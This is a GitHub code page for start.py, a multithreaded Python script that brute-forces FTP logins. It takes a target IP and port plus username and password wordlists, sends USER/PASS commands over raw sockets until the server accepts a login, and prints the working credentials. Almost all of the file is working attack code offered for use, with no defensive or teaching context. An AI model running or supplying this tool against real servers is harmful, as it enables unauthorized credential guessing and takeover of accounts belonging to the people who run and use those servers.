-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathstart.py
118 lines (103 loc) · 3.75 KB
/
start.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
import socket
import sys
from threading import Thread, enumerate, current_thread
from time import sleep
import ipaddress
def create_socket_connection(IP, PORT):
try:
TCP_SOCKET = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
TCP_SOCKET.connect((IP, PORT))
header = TCP_SOCKET.recv(1024)
header = str(header, 'utf-8')
if '220' in header:
return TCP_SOCKET
else:
print("Failed to connect")
sys.exit()
except OSError as e:
print("Failed to Create connection with {}".format(IP))
sys.exit()
def ftp_login(TCP_SOCKET, username, password):
user_packet = "USER {}\r\n".format(username)
byte_user_packet = bytes(user_packet, 'utf-8')
pass_packet = "PASS {}\r\n".format(password)
byte_pass_packet = bytes(pass_packet, 'utf-8')
TCP_SOCKET.send(byte_user_packet)
recv_data = TCP_SOCKET.recv(1024)
recv_data = str(recv_data,'utf-8')
if '331' in recv_data:
TCP_SOCKET.send(byte_pass_packet)
recv_data = TCP_SOCKET.recv(1024)
recv_data = str(recv_data, 'utf-8')
if '230' in recv_data:
TCP_SOCKET.close()
return True
else:
return False
else:
return False
def handle_login(thread_number, totel_thread, usernames, passwords, IP, PORT):
global login_success
for username in usernames:
username = username.replace("\n","")
for i in range(thread_number, len(passwords), totel_thread):
password = passwords[i]
password = password.replace("\n","")
if login_success:
usernames = ""
passwords = ""
FTP_CONNECT.close()
return
FTP_CONNECT = create_socket_connection(IP, PORT)
if ftp_login(FTP_CONNECT, username, password):
print("Login success")
print("=======================================")
print("username = {}".format(username))
print("password = {}".format(password))
print("=======================================")
login_success = True
print("Press ctrl+c to exit this program")
for t in enumerate():
if t != current_thread():
t.join()
return
else:
if not login_success:
print("Failed as {}:{}".format(username, password))
FTP_CONNECT.close()
def file_reader(filename):
try:
Read_data = open(filename, 'r')
Data = Read_data.readlines()
Read_data.close()
return Data
except FileNotFoundError:
print("'{}' not found please provide correct path".format(userlist))
sys.exit()
def validate_ip(ip_address):
try:
validate_ip = ipaddress.ip_address(IP)
except ValueError:
print("'{}' not valid IP, please provide an valid ip address".format(IP))
sys.exit()
if __name__ == "__main__":
login_success = False
IP = input("Enter Remote server IP:")
validate_ip(IP)
PORT = int(input("Enter Remote server PORT:"))
userlist = input("Enter username wordlist:")
Usernames = file_reader(userlist)
passlist = input("Enter password wordlist:")
Passwords = file_reader(passlist)
thread = int(input("How many thread you create:"))
THREAD = []
for thread_number in range(thread):
new_thread = Thread(target=handle_login, args=(thread_number-1, thread, Usernames, Passwords, IP, PORT))
new_thread.start()
sleep(1)
THREAD.append(new_thread)
try:
for thread in THREAD:
thread.join()
except KeyboardInterrupt:
print("Exiting....")